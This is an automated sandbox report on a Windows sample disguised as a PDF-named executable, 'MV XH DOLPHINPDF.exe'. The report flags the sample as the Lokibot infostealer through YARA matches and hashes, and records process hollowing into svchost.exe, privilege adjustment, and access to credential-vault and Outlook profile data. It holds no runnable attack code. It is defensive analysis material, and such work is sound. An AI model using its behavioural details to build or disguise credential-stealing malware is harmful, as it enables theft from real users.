Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: Process Memory Space: MV XH DOLPHINPDF.exe PID: 3060, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: svchost.exe PID: 5504, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00083B4C
Source: MV XH DOLPHINPDF.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: MV XH DOLPHINPDF.exe, 00000000.00000000.1973576179.0000000000135000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ea011fa7-f
Source: MV XH DOLPHINPDF.exe, 00000000.00000000.1973576179.0000000000135000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_6bdce7e5-5
Source: MV XH DOLPHINPDF.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1c8dd316-1
Source: MV XH DOLPHINPDF.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_bf51be59-0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA3540 RtlImageNtHeader,RpcMgmtSetServerStackSize,I_RpcServerDisableExceptionFilter,RtlSetProcessIsCritical,SetProcessMitigationPolicy,SetProcessMitigationPolicy,SetProcessMitigationPolicy,SetProtectedPolicy,HeapSetInformation,NtSetInformationProcess,	2_2_00CA3540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA33C0 NtSetInformationProcess,SetUnhandledExceptionFilter,SetErrorMode,GetProcessHeap,InitializeSRWLock,InitializeSRWLock,RegDisablePredefinedCacheEx,EtwEventRegister,GetCommandLineW,memset,GetCurrentProcess,NtSetInformationProcess,HeapFree,HeapFree,ExitProcess,GetCurrentProcess,SetProcessAffinityUpdateMode,	2_2_00CA33C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA2720 RegOpenKeyExW,RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegCloseKey,HeapAlloc,RegQueryValueExW,ExpandEnvironmentStringsW,LCMapStringW,RegQueryValueExW,HeapFree,AcquireSRWLockShared,ReleaseSRWLockShared,HeapAlloc,memcpy,memcpy,AcquireSRWLockExclusive,ReleaseSRWLockExclusive,RegGetValueW,ActivateActCtx,LoadLibraryExW,MultiByteToWideChar,RtlRunOnceExecuteOnce,NtQuerySystemInformation,GetProcAddress,DeactivateActCtx,ActivateActCtx,MultiByteToWideChar,RtlRunOnceExecuteOnce,NtQuerySystemInformation,GetProcAddress,DeactivateActCtx,ActivateActCtx,MultiByteToWideChar,RtlRunOnceExecuteOnce,NtQuerySystemInformation,GetProcAddress,DeactivateActCtx,RegCloseKey,HeapAlloc,RegGetValueW,WideCharToMultiByte,HeapAlloc,WideCharToMultiByte,HeapFree,ExpandEnvironmentStringsW,HeapFree,CreateActCtxW,GetLastError,HeapFree,HeapFree,GetLastError,CreateActCtxW,GetLastError,ReleaseActCtx,GetLastError,GetLastError,RtlNtStatusToDosError,GetLastError,LoadLibraryExW,RtlNtStatusToDosError,LoadLibraryExW,RtlNtStatusToDosError,HeapFree,ReleaseActCtx,	2_2_00CA2720

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000E4021: CreateFileW,DeviceIoControl,CloseHandle,

0_2_000E4021

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000D8858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_000D8858

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000E545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_000E545F

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_0008E800	0_2_0008E800
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000ADBB5	0_2_000ADBB5
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_0010804A	0_2_0010804A
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_0008E060	0_2_0008E060
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00094140	0_2_00094140
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A2405	0_2_000A2405
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000B6522	0_2_000B6522
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000B267E	0_2_000B267E
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00100665	0_2_00100665
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A283A	0_2_000A283A
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00096843	0_2_00096843
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000B89DF	0_2_000B89DF
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00098A0E	0_2_00098A0E
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000B6A94	0_2_000B6A94
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00100AE2	0_2_00100AE2
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000DEB07	0_2_000DEB07
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000E8B13	0_2_000E8B13
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000ACD61	0_2_000ACD61
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000B7006	0_2_000B7006
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_0009710E	0_2_0009710E
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00093190	0_2_00093190
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00081287	0_2_00081287
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A33C7	0_2_000A33C7
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000AF419	0_2_000AF419
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_00095680	0_2_00095680
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A16C4	0_2_000A16C4
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000958C0	0_2_000958C0
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A78D3	0_2_000A78D3
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A1BB8	0_2_000A1BB8
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000B9D05	0_2_000B9D05
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_0008FE40	0_2_0008FE40
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000A1FD0	0_2_000A1FD0
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000ABFE6	0_2_000ABFE6
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_01DD3650	0_2_01DD3650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040549C	2_2_0040549C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004029D4	2_2_004029D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA2720	2_2_00CA2720

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 00405B6F appears 42 times
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: String function: 000A0D27 appears 70 times
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: String function: 000A8B40 appears 42 times
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: String function: 00087F41 appears 35 times

Source: MV XH DOLPHINPDF.exe, 00000000.00000003.1982116541.0000000003B93000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs MV XH DOLPHINPDF.exe
Source: MV XH DOLPHINPDF.exe, 00000000.00000003.1982747763.0000000003DED000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs MV XH DOLPHINPDF.exe

Source: MV XH DOLPHINPDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: Process Memory Space: MV XH DOLPHINPDF.exe PID: 3060, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: svchost.exe PID: 5504, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/6@1/1

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000EA2D5 GetLastError,FormatMessageW,

0_2_000EA2D5

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000D8713 AdjustTokenPrivileges,CloseHandle,	0_2_000D8713
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000D8CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	0_2_000D8CC3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,	2_2_0040650A

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000EB59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_000EB59E

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000FF121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_000FF121

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000EC602 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_000EC602

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_00084FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00084FE9

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00CA3360 I_RegisterSvchostNotificationCallback,StartServiceCtrlDispatcherW,ExitProcess,

2_2_00CA3360

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00CA3360 I_RegisterSvchostNotificationCallback,StartServiceCtrlDispatcherW,ExitProcess,

2_2_00CA3360

Source: C:\Windows\SysWOW64\svchost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Mutant created: \Sessions\1\BaseNamedObjects\FDD42EE188E931437F4FBE2C

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

File created: C:\Users\user\AppData\Local\Temp\aut4633.tmp

Jump to behavior

Source: MV XH DOLPHINPDF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: svchost.exe, 00000002.00000003.1984539039.0000000005155000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: MV XH DOLPHINPDF.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe"
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe"
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: MV XH DOLPHINPDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: MV XH DOLPHINPDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: MV XH DOLPHINPDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: MV XH DOLPHINPDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: MV XH DOLPHINPDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
